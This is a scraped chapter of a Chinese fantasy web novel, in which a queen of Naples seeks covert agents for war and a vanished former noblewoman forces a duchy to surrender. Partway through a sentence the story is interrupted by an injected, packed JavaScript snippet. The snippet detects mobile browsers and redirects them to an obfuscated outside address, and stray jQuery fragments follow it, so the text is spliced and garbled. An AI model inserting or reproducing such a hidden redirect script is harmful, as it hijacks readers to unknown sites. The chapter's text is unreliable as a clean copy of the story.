默认冷灰
24号文字
方正启体

4. 女王的“赌局”

作者:笑拥ovo本书字数:K更新时间:
    夜色如墨,将那不勒斯王宫的轮廓勾勒成一头匍匐在山巅的、沉默的巨兽。


    王座大厅之内,空旷得能听见烛火燃烧时发出的、极其轻微的噼啪声。自那场被称为“假面舞会”的血腥清洗已过去一年有余,这座宫殿便习惯了这种死水般的寂静。绝对的秩序带来了绝对的安静,也带来了绝对的、令人窒息的厌倦。


    王座之上,女王鞠婧祎的指尖,正百无聊赖地敲击着由黑曜石与黄金铸成的扶手。她的面前,黑曜石卫队指挥使刘姝贤如一尊没有生命的雕像般垂首侍立,刚刚呈报完关于北方异国的最后一份密报。


    “也就是说,墙外的那头老狮子,终于开始磨她的爪子了。”女王的声音很轻,却在这空旷的大厅里激起冰冷的回响。她没有用“国王”或“孙芮”这样的称呼,在她眼中,那只是一个代号,一个即将从棋盘上被抹去的、名为“对手”的符号。


    刘姝贤没有回答,她只是将头垂得更低。她知道,女王不需要回答,只需要倾听和执行。


    “北方的荣耀,是建立在他们的肌肉和战斧之上的。”女王站起身,缓缓走到那张巨大的、覆盖了整片大陆的军事沙盘前。她的身影在烛光下被拉得极长,仿佛与王座的阴影融为一体,“而我的那不勒斯,它的根基是秩序与寂静。用秩序去对抗野蛮,就像用瓷器去撞击铁锤,无论胜负,都会留下裂痕。我不喜欢裂痕。”


    她伸出苍白的手指,在沙盘上那代表着北方异国的广袤土地上空,虚画了一个圈。


    “所以,在我的骑士团踏上他们的土地之前,我需要有人先去敲碎他们的骨头。但不是用战斧,而是用比战斧更锋利的东西。”


    女王转过身,冰冷的目光落在刘姝贤身上,第一次带上了一丝真正的、属于棋手的兴味。


    “我需要两把新刀。”


    “一把,是看不见的刀。它要能将谎言编织成真理,将利益包装成道义,它要在无声无息中,瓦解敌人的盟约,腐蚀他们的意志,挑拨他们的内部,让那头雄狮在挥出爪子之前,就先被自己看不见的锁链捆住手脚。”


    “另一把,是不讲规则的刀。它必须像最疯狂的野狗,嗜血、高效、不择手段。当那头狮子被锁链捆住,动弹不得时,这把刀就要扑上去,精准地、毫不犹豫地,咬断它的喉咙。”


    女王顿了顿,回到王座上,重新坐下。她的声音恢复了那种惯有的、神明般的平淡。


    “我的【新圣殿骑士团】,是维护我王国秩序的仪仗之剑,他们太正、太直,不适合这种肮脏的活。我的【黑曜石卫队】,是藏于暗影的匕首,用于监察与清除,过早暴露在阳光下,会失去它应有的威慑力。”


    “所以,刘姝贤。”女王的指尖再次敲击扶手,发出的声音,如同为这场新游戏定下的节拍,“传我的命令。为我找出这两把刀。从今天起,那不勒斯,要开始一场新的‘赌局’。”


    刘姝贤终于抬起头,眼中闪过一丝混杂着敬畏与狂热的光芒。她知道,女王那颗因无敌而沉寂了一年的心,终于再次跳动了起来。


    “遵命,我的女王。”


    三日后,一则看似与战争毫无关联的消息,通过官方渠道,在那不勒斯的贵族与商界悄然流传。


    消息称,位于那不勒斯王国南端、一向恭顺的贸易邦国“卡利亚公国”,因对新的关税条款不满,扣押了那不勒斯的一艘商船,并驱逐了女王派驻的税务官。


    这则消息,像一颗投入平静湖面的石子,瞬间激起了不大不小的涟漪。在女王绝对的威权之下,已经很久没有人敢于如此公开地挑衅那不勒斯的秩序。所有人都认为,卡利亚公国愚蠢的领主,即将迎来女王陛下的雷霆之怒。新圣殿骑士团的黑色军靴,仿佛已经踏上了前往南方的征程。


    然而,女王接下来的举动,却让所有人大跌眼镜。


    她没有派出军队,甚至没有发表任何措辞强硬的谴责。她只是通过内务府,向全王国所有在册的学者、辩士、以及曾经担任过外交官的旧臣,发布了一份匿名的召集令。


    召集令的内容很简单:女王陛下希望以“和平”的方式解决此次争端,现寻求一份最完美的“解决方案”。凡方案被采纳者,将获得女王陛生的亲自召见,并被委以重任。


    这道命令,在旁人看来,是女王在经历大清洗后,试图展现自己“仁慈”一面的政治作秀。但在少数真正懂得女王心思的人眼中——比如刘姝贤——她们知道,女王的“赌局”,已经正式开始。她的第一场甄选,目标便是那把“看不见的刀”——王国的首席“语言刺客”。


    在接下来的几天里,雪花般的提案被送入了王宫。


    这些提案五花八门,但万变不离其宗。有的建议那不勒斯在经济上做出一些让步,以安抚对方;有的建议派遣一位德高望重的王室成员前去说教,晓之以理;更有甚者,建议割让一小块无关紧要的土地,以彰显女王的“大度”。


    女王的秘密书房里,那张巨大的红木长桌上,堆满了这些被她评为“无趣”的解决方案。她甚至懒得亲自批阅,只是让徐言雨将这些羊皮纸卷一一呈上,然后看一眼标题,便将其丢进一旁的废纸篓。


    “懦夫的哀鸣。”她评价一份建议赔款的提案。


    “蠢货的说教。”她评价另一份主张以德服人的提案。


    她要的不是和平,而是“以和平为名的征服”。她需要的是一把能兵不血刃、瓦解敌意的刀,而不是一根用来乞求和平的橄榄枝。


    直到第五天,刘姝贤呈上了最后一份报告。


    “陛下,所有在册的候选人都已提交了他们的方案。”刘姝贤的声音一如


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424055|200850||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    既往地平稳,“除了一个人。”


    “哦?”女王终于抬起眼皮,露出了一丝兴趣。


    “她的名字叫姜杉。”刘姝贤翻开手中的档案,“前朝礼部侍郎姜文之女。十年前,其父因在朝会上直言顶撞先王,被判‘大不敬’之罪,流放边境,最终病死。姜杉本人也因此被剥夺贵族身份,沦为平民。根据档案记载,她精通多国语言,心思缜密,但性情……据说有些离经叛道。”


    “她提交了什么?”女王问道。


    “什么都没有,陛下。”刘姝贤回答,“在召集令发布后的第二天,她就变卖了在王都最后的一点家产,然后……彻底消失了。”


    “消失了?”女王重复着这个词,指尖的敲击停了下来。


    在她的绝对秩序之下,“消失”是一个极不寻常的词汇。每一个臣民,都像一颗被固定在棋盘上的棋子,他们的行踪,都应该在黑曜石卫队的监视之下。


    而这个姜杉,竟然在她的眼皮底下,蒸发了。


    这让女王第一次,对自己这场“赌局”的走向,产生了一丝不可控的、新鲜的期待感。她没有动怒,反而嘴角勾起一抹若有若无的弧度。


    “有点意思。”她对刘姝贤说,“继续找。我倒想看看,一只敢跳出我棋盘的棋子,究竟想做什么。”


    接下来的三天,整个那不勒斯风平浪静,仿佛什么都没有发生。女王依旧如常地处理着那些由七大支柱呈上的、枯燥的报告,偶尔会召见林思意,看她讲几个新的、一点也不好笑的笑话。


    她很有耐心。她知道,一个好的棋手,不仅要懂得如何落子,更要懂得如何等待。


    直到第三天的黄昏,刘姝"贤的身影,再次出现在了王座大厅。这一次,她的脸上,带着一丝难以掩饰的、混合着震惊与困惑的复杂神情。


    她单膝跪地,声音因激动而出现了一丝微不可查的颤抖。


    “陛下……卡利亚公国……投降了。”


    女王的眉毛轻轻挑了一下,这是她今晚第一个真正感兴趣的信号。


    刘姝贤深吸一口气,继续报告:“卡利亚公国的特使团,正星夜兼程地赶往王都。他们不仅无条件释放了我们的商船和税务官,还主动献上了公国一半的年度税收,作为对女王陛下的‘赔罪’。并且……他们呈上了由公国领主亲笔签署的降书,自愿成为那不勒斯王国最忠诚的附庸。”


    大厅里再次陷入了死寂。


    女王没有说话,她只是静静地看着刘姝贤,等待着那个她最想听到的名字。


    刘姝贤咽了口唾沫,终于说出了那个让她都感到不寒而栗的结论。


    “陛下,根据我们安插在卡利亚公国的所有线人回报……造成这一切的……正是那个三天前在王都消失的女人。”


    “——姜杉。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)